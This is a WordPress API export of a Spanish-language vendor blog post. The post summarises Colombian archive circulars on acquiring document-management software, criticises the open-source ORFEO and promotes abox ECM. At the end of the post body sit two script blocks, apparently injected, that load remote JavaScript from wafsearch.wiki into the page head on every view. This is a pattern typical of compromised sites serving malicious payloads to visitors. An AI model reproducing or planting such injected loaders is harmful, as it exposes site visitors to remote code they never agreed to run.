{"id":1706,"date":"2016-01-16T19:03:43","date_gmt":"2016-01-17T00:03:43","guid":{"rendered":"https:\/\/149.56.148.186\/?p=1706"},"modified":"2026-03-20T04:16:00","modified_gmt":"2026-03-20T09:16:00","slug":"requisitos-del-agn-para-adquirir-herramientas-tecnologicas-de-gestion-documental","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/requisitos-del-agn-para-adquirir-herramientas-tecnologicas-de-gestion-documental\/","title":{"rendered":"Requisitos del AGN para adquirir herramientas tecnol\u00f3gicas de gesti\u00f3n documental"},"content":{"rendered":"<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2014\/04\/gobierno-en-linea.jpg\"><img loading=\"lazy\" class=\"size-full wp-image-1411 alignright\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2014\/04\/gobierno-en-linea.jpg\" alt=\"gobierno-en-linea\" width=\"161\" height=\"155\" srcset=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2014\/04\/gobierno-en-linea.jpg 161w, https:\/\/www.adapting.com\/wp-content\/uploads\/2014\/04\/gobierno-en-linea-768x739.jpg 768w, https:\/\/www.adapting.com\/wp-content\/uploads\/2014\/04\/gobierno-en-linea-600x577.jpg 600w\" sizes=\"(max-width: 161px) 100vw, 161px\" \/><\/a>Atendiendo a una serie de consultas recibidas en Adapting Am\u00e9rica SAS sobre la conveniencia o no de implementar ABOX como <strong>Sistema de Gesti\u00f3n Electr\u00f3nica de Documentos de Archivo<\/strong> en entidades p\u00fablicas, es importante destacar 2 circulares oficiales muy relevantes para la toma de decisi\u00f3n de los responsables de estas instituciones.<\/p>\n<p>&nbsp;<\/p>\n<h3>Circular No. 002 de 2010 de COINFO<\/h3>\n<p>Coinfo es la <em>Comisi\u00f3n Intersectorial de Pol\u00edtica y Gesti\u00f3n de Informaci\u00f3n en la Administraci\u00f3n P\u00fablica<\/em> creada mediante el Decreto 3816 del 31 de diciembre de 2003, cuyo principales objetivos son definir las estrategias y los programas para la producci\u00f3n de la informaci\u00f3n necesaria para lograr una \u00f3ptima generaci\u00f3n de bienes y servicios p\u00fablicos por parte del Estado y optimizar la inversi\u00f3n en tecnolog\u00edas de informaci\u00f3n y de comunicaciones de la Administraci\u00f3n P\u00fablica.<\/p>\n<p>En esta circular, que ha sido muy poco considerada hasta la fecha por las empresas integradoras de la herramienta open-source ORFEO, se recomienda a las entidades p\u00fablicas que est\u00e9n considerando la adquisici\u00f3n de una plataforma de gesti\u00f3n documental, que tengan en cuenta que <strong>ORFEO no est\u00e1 alineada con los requerimientos t\u00e9cnicos exigidos por la Ley 594<\/strong> y los decretos Cero Papel subsiguientes, y que actualmente se encuentra en fase de reingenier\u00eda. Se indica una direcci\u00f3n dentro de la p\u00e1gina web de la Superintendencia de Servicios P\u00fablicos Domiciliarios (Superservicios),\u00a0 la cual no se encuentra habilitada, por lo que desconocemos la situaci\u00f3n concreta de este proceso.<\/p>\n<p>Puede acceder a este documento aqu\u00ed: <a href=\"http:\/\/www.archivogeneral.gov.co\/sites\/all\/themes\/nevia\/PDF\/Transparencia\/CIRCULAR_02_DE_2010.pdf\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\">descargar PDF<\/a><\/p>\n<h3 id=\"h3Titulo\">Circular Externa No. 002 de 2012 &#8211; Adquisici\u00f3n de herramientas tecnol\u00f3gicas de Gesti\u00f3n Documental<\/h3>\n<p>El Archivo General de la Naci\u00f3n, dando cumplimiento a lo establecido en la Ley 594 de 2000 \u00f3 Ley General de Archivos y teniendo en cuenta la importancia que para el sector p\u00fablico tiene la modernizaci\u00f3n de la gesti\u00f3n documental a partir de la aplicaci\u00f3n de las nuevas tecnolog\u00edas de la informaci\u00f3n public\u00f3 la Circular Externa 002 del 6 de marzo de 2012, en la cual se emitieron algunas \u201crecomendaciones a las diferentes entidades interesadas en adquirir o desarrollar sistemas de gesti\u00f3n de documentos, asegurando la gesti\u00f3n de los documentos durante todo su ciclo de vida, las condiciones de seguridad de la informaci\u00f3n, la preservaci\u00f3n y acceso a los documentos y a la interoperabilidad con los sistemas de informaci\u00f3n existentes o futuros\u201d.<\/p>\n<div id=\"textofichanoticia\">\n<p>A partir de la constataci\u00f3n de que ORFEO no cumple con los requisitos exigidos por un software de gesti\u00f3n documental profesional, el Archivo General de la Naci\u00f3n (entidad que promulga las leyes de Archivos en Colombia) insta a las administraciones a que revisen sus lineamientos en materia de adquisici\u00f3n de nuevos sistemas electr\u00f3nicos de gesti\u00f3n documental.<\/p>\n<p>Hace una serie de recomendaciones, como por ejemplo:<\/p>\n<ul>\n<li>Asegurar el cumplimiento de los est\u00e1ndares internacionales ISO-15489 y requisitos funcionales de Moreq.<\/li>\n<li>Asegurar que la soluci\u00f3n elegida cumple con los requisitos para la preservaci\u00f3n de archivos electr\u00f3nicos a largo plazo.<\/li>\n<li>Verificar la capacidad del software para dar cumplimiento a los Cuadros de Clasificaci\u00f3n Documental y Tablas de Retenci\u00f3n Documental.<\/li>\n<li>Introducir el concepto de Archivo total o expediente h\u00edbrido, para garantizar que el software permita gestionar tanto archivos f\u00edsicos como electr\u00f3nicos, lo que es un requisito novedoso y cada vez m\u00e1s importante.<\/li>\n<\/ul>\n<p>Puede acceder a este documento aqu\u00ed: <a href=\"http:\/\/190.26.215.130\/?idcategoria=6336\" target=\"_blank\" rel=\"noopener\">descargar PDF<\/a><\/p>\n<p><strong>abox ECM<\/strong> es un sistema de gesti\u00f3n electr\u00f3nica de documentos de archivo (record management system) que cumple con las normas internaciones en materia de gesti\u00f3n documental profesional, es 100% web, est\u00e1 inspirado en los requisitos funcionales de Moreq y\u00a0 est\u00e1 adaptado a la normatividad colombiana, Ley 594 de 2000.<\/p>\n<blockquote><p>Las recomendaciones del AGN hacen que <strong>abox ECM<\/strong> sea cada vez m\u00e1s una opci\u00f3n vers\u00e1til, moderna y econ\u00f3mica para las entidades p\u00fablicas de Colombia, interesadas en la adquisici\u00f3n de un software profesional para la gesti\u00f3n de los documentos de archivo.<\/p><\/blockquote>\n<\/div>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = 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